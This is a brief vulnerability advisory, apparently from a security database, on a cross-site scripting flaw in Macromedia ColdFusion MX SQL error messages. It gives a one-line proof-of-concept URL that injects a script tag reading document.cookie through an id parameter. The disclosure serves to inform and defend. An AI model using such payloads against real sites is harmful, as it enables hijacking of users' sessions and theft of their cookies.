• info
• discussion
• exploit
• solution
• references

Macromedia ColdFusion MX SQL Error Message Cross-Site Scripting Vulnerability

The following proof of concept has been provided:

http://www.example.com/article.cfm?id=1'<script>alert(document.cookie);</script>